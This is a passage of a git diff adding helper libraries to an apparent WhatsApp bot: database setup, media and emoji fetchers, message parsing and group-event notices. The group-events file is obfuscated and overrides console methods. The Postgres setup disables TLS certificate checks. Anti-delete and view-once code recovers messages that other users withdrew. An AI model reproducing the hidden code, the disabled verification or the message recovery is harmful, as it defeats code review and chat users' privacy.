DeletedMedia(conn, mek, jid, deleteInfo); + } + } + } + } +}; + +module.exports = { + DeletedText, + DeletedMedia, + AntiDelete, +}; diff --git a/lib/database.js b/lib/database.js new file mode 100644 index 0000000000000000000000000000000000000000..9490685aea1ba27d791be986e3337129c3c44883 --- /dev/null +++ b/lib/database.js @@ -0,0 +1,43 @@ +const Sequelize = require('sequelize'); + +class DatabaseManager { + static instance = null; + + static getInstance() { + if (!DatabaseManager.instance) { + const DATABASE_URL = process.env.DATABASE_URL || './database.db'; + + DatabaseManager.instance = + DATABASE_URL === './database.db' + ? new Sequelize({ + dialect: 'sqlite', + storage: DATABASE_URL, + logging: false, + }) + : new Sequelize(DATABASE_URL, { + dialect: 'postgres', + ssl: true, + protocol: 'postgres', + dialectOptions: { + native: true, + ssl: { require: true, rejectUnauthorized: false }, + }, + logging: false, + }); + } + return DatabaseManager.instance; + } +} + +const DATABASE = DatabaseManager.getInstance(); + +DATABASE.sync() + .then(() => { + console.log('Database synchronized successfully.'); + }) + .catch((error) => { + console.error('Error synchronizing the database:', error); + }); + +module.exports = { DATABASE }; + diff --git a/lib/emix-utils.js b/lib/emix-utils.js new file mode 100644 index 0000000000000000000000000000000000000000..22a3b856ec9053fc549c62b020a2e175564d73b3 --- /dev/null +++ b/lib/emix-utils.js @@ -0,0 +1,29 @@ +const axios = require("axios"); + +/** + * Fetch Emoji Mix image from API. + * @param {string} emoji1 - First emoji. + * @param {string} emoji2 - Second emoji. + * @returns {Promise} - The image URL. + */ +async function fetchEmix(emoji1, emoji2) { + try { + if (!emoji1 || !emoji2) { + throw new Error("Invalid emoji input. Please provide two emojis."); + } + + const apiUrl = `https://levanter.onrender.com/emix?q=${encodeURIComponent(emoji1)},${encodeURIComponent(emoji2)}`; + const response = await axios.get(apiUrl); + + if (response.data && response.data.result) { + return response.data.result; // Return the image URL + } else { + throw new Error("No valid image found."); + } + } catch (error) { + console.error("Error fetching emoji mix:", error.message); + throw new Error("Failed to fetch emoji mix."); + } +} + +module.exports = { fetchEmix }; diff --git a/lib/fetchGif.js b/lib/fetchGif.js new file mode 100644 index 0000000000000000000000000000000000000000..c1c613ca3b7a5bcb5d0d42625155a107f5bd24b3 --- /dev/null +++ b/lib/fetchGif.js @@ -0,0 +1,61 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); +const { tmpdir } = require('os'); +const Crypto = require('crypto'); +const ffmpeg = require('fluent-ffmpeg'); +const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path; + +ffmpeg.setFfmpegPath(ffmpegPath); + +/** + * Fetch a GIF from a given API URL. + * @param {string} url - The API endpoint to fetch the GIF. + * @returns {Promise} - The GIF buffer. + */ +async function fetchGif(url) { + try { + const response = await axios.get(url, { responseType: 'arraybuffer' }); + return response.data; + } catch (error) { + console.error("โŒ Error fetching GIF:", error); + throw new Error("Could not fetch GIF."); + } +} + +/** + * Converts a GIF buffer to a video buffer. + * @param {Buffer} gifBuffer - The GIF buffer. + * @returns {Promise} - The MP4 video buffer. + */ +async function gifToVideo(gifBuffer) { + const filename = Crypto.randomBytes(6).toString('hex'); + const gifPath = path.join(tmpdir(), `${filename}.gif`); + const mp4Path = path.join(tmpdir(), `${filename}.mp4`); + + fs.writeFileSync(gifPath, gifBuffer); + + await new Promise((resolve, reject) => { + ffmpeg(gifPath) + .outputOptions([ + "-movflags faststart", + "-pix_fmt yuv420p", + "-vf scale=trunc(iw/2)*2:trunc(ih/2)*2" + ]) + .on("error", (err) => { + console.error("โŒ ffmpeg conversion error:", err); + reject(new Error("Could not process GIF to video.")); + }) + .on("end", resolve) + .save(mp4Path); + }); + + const videoBuffer = fs.readFileSync(mp4Path); + fs.unlinkSync(gifPath); + fs.unlinkSync(mp4Path); + + return videoBuffer; +} + +module.exports = { fetchGif, gifToVideo }; + diff --git a/lib/functions.js b/lib/functions.js new file mode 100644 index 0000000000000000000000000000000000000000..6da88e01fb2b5d3c0f1d95f2943163585bda4c6f --- /dev/null +++ b/lib/functions.js @@ -0,0 +1,95 @@ + +const axios = require('axios') + +const getBuffer = async(url, options) => { + try { + options ? options : {} + var res = await axios({ + method: 'get', + url, + headers: { + 'DNT': 1, + 'Upgrade-Insecure-Request': 1 + }, + ...options, + responseType: 'arraybuffer' + }) + return res.data + } catch (e) { + console.log(e) + } +} + +const getGroupAdmins = (participants) => { + var admins = [] + for (let i of participants) { + i.admin !== null ? admins.push(i.id) : '' + } + return admins +} + +const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}` +} + +const h2k = (eco) => { + var lyrik = ['', 'K', 'M', 'B', 'T', 'P', 'E'] + var ma = Math.log10(Math.abs(eco)) / 3 | 0 + if (ma == 0) return eco + var ppo = lyrik[ma] + var scale = Math.pow(10, ma * 3) + var scaled = eco / scale + var formatt = scaled.toFixed(1) + if (/\.0$/.test(formatt)) + formatt = formatt.substr(0, formatt.length - 2) + return formatt + ppo +} + +const isUrl = (url) => { + return url.match( + new RegExp( + /https?:\/\/(www\.)?[-a-zA-Z0-9@:%.+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%+.~#?&/=]*)/, + 'gi' + ) + ) +} + +const Json = (string) => { + return JSON.stringify(string, null, 2) +} + +const runtime = (seconds) => { + seconds = Number(seconds) + var d = Math.floor(seconds / (3600 * 24)) + var h = Math.floor(seconds % (3600 * 24) / 3600) + var m = Math.floor(seconds % 3600 / 60) + var s = Math.floor(seconds % 60) + var dDisplay = d > 0 ? d + (d == 1 ? ' day, ' : ' days, ') : '' + var hDisplay = h > 0 ? h + (h == 1 ? ' hour, ' : ' hours, ') : '' + var mDisplay = m > 0 ? m + (m == 1 ? ' minute, ' : ' minutes, ') : '' + var sDisplay = s > 0 ? s + (s == 1 ? ' second' : ' seconds') : '' + return dDisplay + hDisplay + mDisplay + sDisplay; +} + +const sleep = async(ms) => { + return new Promise(resolve => setTimeout(resolve, ms)) +} + +const fetchJson = async (url, options) => { + try { + options ? options : {} + const res = await axios({ + method: 'GET', + url: url, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' + }, + ...options + }) + return res.data + } catch (err) { + return err + } +} + +module.exports = { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep , fetchJson} diff --git a/lib/functions2.js b/lib/functions2.js new file mode 100644 index 0000000000000000000000000000000000000000..aa7357bc1754d7c4628ed612ac8e15ae281e6485 --- /dev/null +++ b/lib/functions2.js @@ -0,0 +1,167 @@ +const fs = require('fs'); +const axios = require('axios'); +const path = './config.env'; +const FormData = require("form-data"); + +async function empiretourl(path) { + if (!fs.existsSync(path)) { + throw new Error(`File not found: ${path}`); + } + + const form = new FormData(); + const fileStream = fs.createReadStream(path); + form.append("file", fileStream); + const originalFileName = path.split("/").pop(); + form.append("originalFileName", originalFileName); + + try { + const response = await axios.post("https://cdn.empiretech.biz.id/api/upload.php", form, { + headers: { + ...form.getHeaders(), + }, + maxContentLength: Infinity, + maxBodyLength: Infinity, + }); + return response.data; + } catch (error) { + if (error.response) { + throw new Error(`API Error: ${error.response.status} - ${JSON.stringify(error.response.data)}`); + } else if (error.request) { + throw new Error("No response received from the server."); + } else { + throw new Error(`Request Error: ${error.message}`); + } + } +} + +// Fetch a buffer from a URL +const getBuffer = async (url, options) => { + try { + options = options || {}; + const res = await axios({ + method: 'get', + url, + headers: { + 'DNT': 1, + 'Upgrade-Insecure-Request': 1 + }, + ...options, + responseType: 'arraybuffer' + }); + return res.data; + } catch (e) { + console.error(e); + return null; + } +}; + +// Get admin participants from a group +const getGroupAdmins = (participants) => { + const admins = []; + for (let participant of participants) { + if (participant.admin !== null) admins.push(participant.id); + } + return admins; +}; + +// Generate a random string with an extension +const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}`; +}; + +// Format large numbers with suffixes (e.g., K, M, B) +const h2k = (eco) => { + const lyrik = ['', 'K', 'M', 'B', 'T', 'P', 'E']; + const ma = Math.floor(Math.log10(Math.abs(eco)) / 3); + if (ma === 0) return eco.toString(); + const scale = Math.pow(10, ma * 3); + const scaled = eco / scale; + const formatted = scaled.toFixed(1).replace(/\.0$/, ''); + return formatted + lyrik[ma]; +}; + +// Check if a string is a URL +const isUrl = (url) => { + return url.match( + /https?:\/\/(www\.)?[-a-zA-Z0-9@:%.+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%+.~#?&/=]*)/ + ); +}; + +// Convert a JavaScript object or array to a JSON string +const Json = (string) => { + return JSON.stringify(string, null, 2); +}; + +// Function to calculate and format uptime +const runtime = (seconds) => { + seconds = Math.floor(seconds); + const d = Math.floor(seconds / (24 * 60 * 60)); + seconds %= 24 * 60 * 60; + const h = Math.floor(seconds / (60 * 60)); + seconds %= 60 * 60; + const m = Math.floor(seconds / 60); + const s = Math.floor(seconds % 60); + + if (d > 0) return `${d}d ${h}h ${m}m ${s}s`; + if (h > 0) return `${h}h ${m}m ${s}s`; + if (m > 0) return `${m}m ${s}s`; + return `${s}s`; +}; +// Delay execution for a specified time +const sleep = async (ms) => { + return new Promise((resolve) => setTimeout(resolve, ms)); +}; + +// Fetch JSON from a URL +const fetchJson = async (url, options) => { + try { + options = options || {}; + const res = await axios({ + method: 'GET', + url: url, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' + }, + ...options + }); + return res.data; + } catch (err) { + console.error(err); + return null; + } +}; +// Save config settings +const saveConfig = (key, value) => { + let configData = fs.existsSync(path) ? fs.readFileSync(path, 'utf8').split('\n') : []; + let found = false; + + configData = configData.map(line => { + if (line.startsWith(`${key}=`)) { + found = true; + return `${key}=${value}`; + } + return line; + }); + + if (!found) configData.push(`${key}=${value}`); + + fs.writeFileSync(path, configData.join('\n'), 'utf8'); + + // Reload updated environment variables + require('dotenv').config({ path }); +}; + +module.exports = { + getBuffer, + getGroupAdmins, + getRandom, + h2k, + isUrl, + Json, + runtime, + sleep, + fetchJson, + saveConfig, + empiretourl +}; + diff --git a/lib/groupevents.js b/lib/groupevents.js new file mode 100644 index 0000000000000000000000000000000000000000..363acab0a897397608ff7423fa1f0dd2c798243a --- /dev/null +++ b/lib/groupevents.js @@ -0,0 +1 @@ +const _0x535b90=_0x1a9f;function _0x1a9f(_0x640e89,_0x30e064){const _0x11534c=_0x59c5();return _0x1a9f=function(_0x2a5361,_0x39b6c1){_0x2a5361=_0x2a5361-0x67;let _0x48fe45=_0x11534c[_0x2a5361];return _0x48fe45;},_0x1a9f(_0x640e89,_0x30e064);}(function(_0x3a860c,_0x3067ca){const _0x221d38=_0x1a9f,_0x381cf1=_0x3a860c();while(!![]){try{const _0x21dde7=-parseInt(_0x221d38(0xac))/0x1*(parseInt(_0x221d38(0x7f))/0x2)+parseInt(_0x221d38(0x90))/0x3+-parseInt(_0x221d38(0x99))/0x4*(parseInt(_0x221d38(0x72))/0x5)+-parseInt(_0x221d38(0x71))/0x6+parseInt(_0x221d38(0xa4))/0x7*(-parseInt(_0x221d38(0x78))/0x8)+parseInt(_0x221d38(0xab))/0x9*(-parseInt(_0x221d38(0x8b))/0xa)+parseInt(_0x221d38(0xad))/0xb*(parseInt(_0x221d38(0x93))/0xc);if(_0x21dde7===_0x3067ca)break;else _0x381cf1['push'](_0x381cf1['shift']());}catch(_0x235603){_0x381cf1['push'](_0x381cf1['shift']());}}}(_0x59c5,0x92f40));const _0x29bc6c=(function(){let _0x3c2edd=!![];return function(_0x315b9b,_0x62a890){const _0x229eb5=_0x3c2edd?function(){if(_0x62a890){const _0x5c0398=_0x62a890['apply'](_0x315b9b,arguments);return _0x62a890=null,_0x5c0398;}}:function(){};return _0x3c2edd=![],_0x229eb5;};}()),_0x31af1f=_0x29bc6c(this,function(){const _0x2f61a8=_0x1a9f;return _0x31af1f['toString']()[_0x2f61a8(0xa9)](_0x2f61a8(0x86))[_0x2f61a8(0x8e)]()[_0x2f61a8(0xa5)](_0x31af1f)[_0x2f61a8(0xa9)](_0x2f61a8(0x86));});_0x31af1f();function _0x59c5(){const _0x36bd7e=['*โ”‚โ—\x20ะผั”ะผะฒั”ส€ั•\x20ฮนั•\x20โ„“ั”fั‚\x20ั‚ะฝั”\x20gส€ฯƒแดœแด˜*\x0a','groupMetadata','(((.+)+)+)+$','add','*โ”œโ–ข\x20@','@whiskeysockets/baileys','profilePictureUrl','290cTsGOq','*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€*','toLocaleString','toString','*โ”‚\x20\x20ฬ‡โ”€ฬฃโ”€ฬ‡โ”€ฬฃใ€˜\x20gฯƒฯƒโˆ‚ะฒัƒั”\x20ใ€™ฬฃโ”€ฬ‡โ”€ฬฃโ”€ฬ‡*\x0a','3140436uyDdbx','*โ”‚\x20\x20ฬ‡โ”€ฬฃโ”€ฬ‡โ”€ฬฃใ€˜\x20ฯ‰ั”โ„“ยขฯƒะผั”\x20ใ€™ฬฃโ”€ฬ‡โ”€ฬฃโ”€ฬ‡*\x0a','error','48LhgDcu','floor','*โ”œโ–ข\x20ั‚ฮนะผั”\x20:\x20','*โ”‚โ—\x20ั‚ะฝั”\x20gส€ฯƒฯ…แด˜ั•\x20ส€แดœโ„“ั”ั•!*\x0a','\x20fส€ฯƒะผ\x20ฮฑโˆ‚ะผฮนษด*\x0a','ADMIN_STATUS','3308184POPrKL','log','*โ”œโ–ข\x20gส€ฯƒแดœแด˜\x20:*\x20','promote','*โ”‚โ—\x20ะผั”ะผะฒั”ส€s\x20','*โ”‚โ—\x20ยฉแด˜ฯƒฯ‰ั”ส€ั”โˆ‚\x20ะฒัƒ\x20ฮฑโ„“ฮน\x20ะผโˆ‚โŽฏ๊ฏญฬฝ๐Ÿ‘‘*\x0a','action','demote','120363354023106228@newsletter','../config','trace','9618WtyvGT','constructor','console','*โ”‚โ€\x20gส€ฯƒแดœแด˜*\x20','prototype','search','https://i.ibb.co/KhYC4FY/1221bc0bdd2354b42b293317ff2adbcf-icon.png','846qpJWfm','1134143aveusw','7174387aaLnaQ','*โ”‚โ—\x20แดŠฯƒฮนษดั”โˆ‚\x20','\x20ะฝฮฑั•\x20โˆ‚ั”ะผฯƒั‚ั”โˆ‚*\x0a','subject','participants','bind','return\x20(function()\x20','sender','*โ”‚โ€\x20ะฝั”ัƒ*\x20@','apply','*โ”œโ”…โ”…โ”…โ”…โ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”…โ”…โ”…โ—†*\x0a','author','info','remove','*โ”œโ–ข\x20gส€ฯƒแดœแด˜\x20:\x20','1361838cJkQtw','5jQjVoc','*โ•ฐโ”‰โ”‰โ”‰โ”‰โ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”‰โ”‰โ”‰แ›ซแ›ญ*\x0a','*โ”‚โ—\x20ั•ั‚ฮฑัƒ\x20ั•ฮฑfั”\x20ฮฑษดโˆ‚\x20fฯƒโ„“โ„“ฯƒฯ‰*\x0a','image','table','length','5024rhNfvi','sendMessage','{}.constructor(\x22return\x20this\x22)(\x20)','Group\x20event\x20error:','*โ”‚โ—\x20ยฉแด˜ฯƒฯ‰ั”ส€ั”โˆ‚\x20ะฒัƒ\x20ฮฑโ„“ฮน-ะผโˆ‚โŽฏ๊ฏญฬฝ๐Ÿ‘‘*\x0a','*โ•ญื‚โ”„โ”€ื…โ”€ื‚โ”„โ”€ื‚โ”„โ”€ื…โ”€ื‚โ”„โ”€ื‚โ”„โ”€ื…โ”€ื‚โ”„โ”€โ”€*\x0a','๐€ษญฤซฤซ\x20๐ŒฦŠ\x20๐’สŠฬŠ๐๐เนแึŸษผสˆ๊œœ-๐ŸŒธ๐Ÿ’๐Ÿ–‡๏ธ','2iyPrad','split','true','*โ•ญโ”€โ”€โ”€โ”€โฌก\x20ฮฑแด„ั‚ฮนฯƒษด-ั•ั‚ฮฑั‚แดœs\x20โฌกโ”€โ”€โ”€โ”€*\x20\x0a','warn'];_0x59c5=function(){return _0x36bd7e;};return _0x59c5();}const _0x39b6c1=(function(){let _0x57d834=!![];return function(_0x4968a3,_0x481567){const _0x4ecc3c=_0x57d834?function(){const _0x3b0417=_0x1a9f;if(_0x481567){const _0x37d121=_0x481567[_0x3b0417(0x6b)](_0x4968a3,arguments);return _0x481567=null,_0x37d121;}}:function(){};return _0x57d834=![],_0x4ecc3c;};}()),_0x2a5361=_0x39b6c1(this,function(){const _0x2572b5=_0x1a9f,_0x1fcd8d=function(){const _0x57dae9=_0x1a9f;let _0x293213;try{_0x293213=Function(_0x57dae9(0x68)+_0x57dae9(0x7a)+');')();}catch(_0x380b52){_0x293213=window;}return _0x293213;},_0x447909=_0x1fcd8d(),_0x4d8c0e=_0x447909[_0x2572b5(0xa6)]=_0x447909[_0x2572b5(0xa6)]||{},_0x519e61=[_0x2572b5(0x9a),_0x2572b5(0x83),_0x2572b5(0x6e),'error','exception',_0x2572b5(0x76),_0x2572b5(0xa3)];for(let _0x56908a=0x0;_0x56908a<_0x519e61[_0x2572b5(0x77)];_0x56908a++){const _0x47e28a=_0x39b6c1[_0x2572b5(0xa5)][_0x2572b5(0xa8)][_0x2572b5(0x67)](_0x39b6c1),_0x146a36=_0x519e61[_0x56908a],_0xc36d99=_0x4d8c0e[_0x146a36]||_0x47e28a;_0x47e28a['__proto__']=_0x39b6c1[_0x2572b5(0x67)](_0x39b6c1),_0x47e28a['toString']=_0xc36d99[_0x2572b5(0x8e)][_0x2572b5(0x67)](_0xc36d99),_0x4d8c0e[_0x146a36]=_0x47e28a;}});_0x2a5361();const {isJidGroup}=require(_0x535b90(0x89)),config=require(_0x535b90(0xa2)),getContextInfo=_0x5e60f6=>{const _0x4ea278=_0x535b90;return{'mentionedJid':[_0x5e60f6[_0x4ea278(0x69)]],'forwardingScore':0x3e7,'isForwarded':!![],'forwardedNewsletterMessageInfo':{'newsletterJid':_0x4ea278(0xa1),'newsletterName':_0x4ea278(0x7e),'serverMessageId':0x8f}};},ppUrls=[_0x535b90(0xaa),_0x535b90(0xaa),_0x535b90(0xaa)],GroupEvents=async(_0x32cbbb,_0x2fc374)=>{const _0x297df3=_0x535b90;try{const _0x40cdbd=isJidGroup(_0x2fc374['id']);if(!_0x40cdbd)return;const _0x4e46f8=await _0x32cbbb[_0x297df3(0x85)](_0x2fc374['id']),_0x3d4c22=_0x2fc374['participants'],_0x2d13fb=_0x4e46f8['desc'],_0x54a6b4=_0x4e46f8[_0x297df3(0xb1)]['length'];let _0x92baa7;try{_0x92baa7=await _0x32cbbb[_0x297df3(0x8a)](_0x2fc374['id'],_0x297df3(0x75));}catch{_0x92baa7=ppUrls[Math[_0x297df3(0x94)](Math['random']()*ppUrls[_0x297df3(0x77)])];}for(const _0x180f70 of _0x3d4c22){const _0x22a1e8=_0x180f70[_0x297df3(0x80)]('@')[0x0],_0x7362f3=new Date()[_0x297df3(0x8d)]();if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0x87)&&config['WELCOME']===_0x297df3(0x81)){const _0x5cbe09=_0x297df3(0x7d)+_0x297df3(0x91)+_0x297df3(0x6c)+(_0x297df3(0x6a)+_0x22a1e8+'\x0a')+(_0x297df3(0xa7)+_0x4e46f8[_0x297df3(0xb0)]+'\x0a')+_0x297df3(0x6c)+_0x297df3(0x74)+_0x297df3(0x96)+(_0x297df3(0xae)+_0x54a6b4+'*\x0a')+_0x297df3(0x7c)+_0x297df3(0x73)+(''+_0x2d13fb);await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'image':{'url':_0x92baa7},'caption':_0x5cbe09,'mentions':[_0x180f70],'contextInfo':getContextInfo({'sender':_0x180f70})});}else{if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0x6f)&&config['GOODBYE']===_0x297df3(0x81)){const _0x39d2c0='*โ•ญื‚โ”„โ”€ื…โ”€ื‚โ”„โ”€ื‚โ”„โ”€ื…โ”€ื‚โ”„โ”€ื‚โ”„โ”€ื…โ”€ื‚โ”„โ”€โ”€*\x0a'+_0x297df3(0x8f)+_0x297df3(0x6c)+('*โ”‚โ€\x20แดœั•ั”ส€*\x20@'+_0x22a1e8+'\x0a')+_0x297df3(0x84)+(_0x297df3(0x9d)+_0x54a6b4+'*\x0a')+_0x297df3(0x9e)+'*โ•ฐโ”‰โ”‰โ”‰โ”‰โ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”‰โ”‰โ”‰แ›ซแ›ญ*';await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'image':{'url':_0x92baa7},'caption':_0x39d2c0,'mentions':[_0x180f70],'contextInfo':getContextInfo({'sender':_0x180f70})});}else{if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0xa0)&&config[_0x297df3(0x98)]==='true'){const _0x2fedd3=_0x2fc374['author']['split']('@')[0x0];await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'text':_0x297df3(0x82)+(_0x297df3(0x88)+_0x2fedd3+_0x297df3(0xaf))+('*โ”œโ–ข\x20@'+_0x22a1e8+_0x297df3(0x97))+(_0x297df3(0x95)+_0x7362f3+'*\x0a')+(_0x297df3(0x9b)+_0x4e46f8[_0x297df3(0xb0)]+'\x0a')+_0x297df3(0x8c),'mentions':[_0x2fc374['author'],_0x180f70],'contextInfo':getContextInfo({'sender':_0x2fc374['author']})});}else{if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0x9c)&&config[_0x297df3(0x98)]===_0x297df3(0x81)){const _0x13ffbc=_0x2fc374['author'][_0x297df3(0x80)]('@')[0x0];await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'text':_0x297df3(0x82)+(_0x297df3(0x88)+_0x13ffbc+'\x20ะฝฮฑั•\x20แด˜ส€ฯƒะผฯƒั‚ั”โˆ‚*\x0a')+(_0x297df3(0x88)+_0x22a1e8+'\x20ั‚ฯƒ\x20ฮฑโˆ‚ะผฮนษด*\x0a')+(_0x297df3(0x95)+_0x7362f3+'*\x0a')+(_0x297df3(0x70)+_0x4e46f8[_0x297df3(0xb0)]+'*\x0a')+_0x297df3(0x8c),'mentions':[_0x2fc374['author'],_0x180f70],'contextInfo':getContextInfo({'sender':_0x2fc374[_0x297df3(0x6d)]})});}}}}}}catch(_0x426bd3){console[_0x297df3(0x92)](_0x297df3(0x7b),_0x426bd3);}};module['exports']=GroupEvents; diff --git a/lib/index.js b/lib/index.js new file mode 100644 index 0000000000000000000000000000000000000000..218e66fb9068c7b7319f9c9fe57c61d96852e437 --- /dev/null +++ b/lib/index.js @@ -0,0 +1,30 @@ +const { DeletedText, + DeletedMedia, + AntiDelete, } = require('./antidel'); +//const { AntiViewOnce } = require('./antivv'); +const { + DATABASE +} = require('./database'); +const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require('./functions'); +const {sms, downloadMediaMessage} = require('./msg'); +//const {shannzCdn} = require('./shannzCdn'); + +module.exports = { + DeletedText, + DeletedMedia, + AntiDelete, + //AntiViewOnce, + getBuffer, + getGroupAdmins, + getRandom, + h2k, + isUrl, + Json, + runtime, + sleep, + fetchJson, + DATABASE, + sms, + downloadMediaMessage, + // shannzCdn, +}; diff --git a/lib/msg.js b/lib/msg.js new file mode 100644 index 0000000000000000000000000000000000000000..454d9917be03fb0db319faa26ea6d5cdb31b5deb --- /dev/null +++ b/lib/msg.js @@ -0,0 +1,258 @@ +const { proto, downloadContentFromMessage, getContentType } = require('@whiskeysockets/baileys') +const fs = require('fs') + +const downloadMediaMessage = async(m, filename) => { + if (m.type === 'viewOnceMessage') { + m.type = m.msg.type + } + if (m.type === 'imageMessage') { + var nameJpg = filename ? filename + '.jpg' : 'undefined.jpg' + const stream = await downloadContentFromMessage(m.msg, 'image') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameJpg, buffer) + return fs.readFileSync(nameJpg) + } else if (m.type === 'videoMessage') { + var nameMp4 = filename ? filename + '.mp4' : 'undefined.mp4' + const stream = await downloadContentFromMessage(m.msg, 'video') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameMp4, buffer) + return fs.readFileSync(nameMp4) + } else if (m.type === 'audioMessage') { + var nameMp3 = filename ? filename + '.mp3' : 'undefined.mp3' + const stream = await downloadContentFromMessage(m.msg, 'audio') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameMp3, buffer) + return fs.readFileSync(nameMp3) + } else if (m.type === 'stickerMessage') { + var nameWebp = filename ? filename + '.webp' : 'undefined.webp' + const stream = await downloadContentFromMessage(m.msg, 'sticker') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameWebp, buffer) + return fs.readFileSync(nameWebp) + } else if (m.type === 'documentMessage') { + var ext = m.msg.fileName.split('.')[1].toLowerCase().replace('jpeg', 'jpg').replace('png', 'jpg').replace('m4a', 'mp3') + var nameDoc = filename ? filename + '.' + ext : 'undefined.' + ext + const stream = await downloadContentFromMessage(m.msg, 'document') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameDoc, buffer) + return fs.readFileSync(nameDoc) + } +} + +const sms = (conn, m, store) => { + if (!m) return m + let M = proto.WebMessageInfo + if (m.key) { + m.id = m.key.id + m.isBot = m.id.startsWith('BAES') && m.id.length === 16 + m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16 + m.chat = m.key.remoteJid + m.fromMe = m.key.fromMe + m.isGroup = m.chat.endsWith('@g.us') + m.sender = m.fromMe ? conn.user.id.split(':')[0]+'@s.whatsapp.net' : m.isGroup ? m.key.participant : m.key.remoteJid + //m.sender = conn.decodeJid(m.fromMe && conn.user.id || m.participant || m.key.participant || m.chat || '') + //if (m.isGroup) m.participant = conn.decodeJid(m.key.participant) || '' + } + if (m.message) { + m.mtype = getContentType(m.message) + m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype]) + try { + m.body = (m.mtype === 'conversation') ? m.message.conversation : + (m.mtype == 'imageMessage' && m.message.imageMessage.caption != undefined) ? m.message.imageMessage.caption : + (m.mtype == 'videoMessage' && m.message.videoMessage.caption != undefined) ? m.message.videoMessage.caption : + (m.mtype == 'extendedTextMessage' && m.message.extendedTextMessage.text != undefined) ? m.message.extendedTextMessage.text : + (m.mtype == 'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId : + (m.mtype == 'listResponseMessage') ? m.message.listResponseMessage.singleSelectReply.selectedRowId : + (m.mtype == 'templateButtonReplyMessage') ? m.message.templateButtonReplyMessage.selectedId : + (m.mtype === 'messageContextInfo') ? (m.message.buttonsResponseMessage?.selectedButtonId || m.message.listResponseMessage?.singleSelectReply.selectedRowId || m.text) : ''; + } catch { + m.body = false + } + let quoted = (m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null); + m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] + + if (m.quoted) { + let type = getContentType(quoted) + m.quoted = m.quoted[type] + if (['productMessage'].includes(type)) { + type = getContentType(m.quoted) + m.quoted = m.quoted[type] + } + if (typeof m.quoted === 'string') m.quoted = { text: m.quoted } + + + if(quoted.viewOnceMessageV2) + { + console.log("entered ==================================== ") + //console.log ("m Is : ",m,"\nm Quoted is :",m.quoted ,"\n Quoted is : ",quoted,"\nviewOnce : ", quoted.viewOnceMessageV2.message) + + } else + { + + + m.quoted.mtype = type + m.quoted.id = m.msg.contextInfo.stanzaId + m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat + m.quoted.isBot = m.quoted.id ? m.quoted.id.startsWith('BAES') && m.quoted.id.length === 16 : false + m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false + m.quoted.sender = conn.decodeJid(m.msg.contextInfo.participant) + m.quoted.fromMe = m.quoted.sender === (conn.user && conn.user.id) + m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || '' + m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] + m.getQuotedObj = m.getQuotedMessage = async () => { + if (!m.quoted.id) return false + let q = await store.loadMessage(m.chat, m.quoted.id, conn) + return exports.sms(conn, q, store) + } + let vM = m.quoted.fakeObj = M.fromObject({ + key: { + remoteJid: m.quoted.chat, + fromMe: m.quoted.fromMe, + id: m.quoted.id + }, + message: quoted, + ...(m.isGroup ? { participant: m.quoted.sender } : {}) + }) + /** + * + * @returns + */ + let { chat, fromMe, id } = m.quoted; + const key = { + remoteJid: m.chat, + fromMe: false, + id: m.quoted.id, + participant: m.quoted.sender + } + m.quoted.delete = async() => await conn.sendMessage(m.chat, { delete: key }) + + /** + * + * @param {*} jid + * @param {*} forceForward + * @param {*} options + * @returns + */ + m.forwardMessage = (jid, forceForward = true, options = {}) => conn.copyNForward(jid, vM, forceForward,{contextInfo: {isForwarded: false}}, options) + + /** + * + * @returns + */ + m.quoted.download = () => conn.downloadMediaMessage(m.quoted) + } + 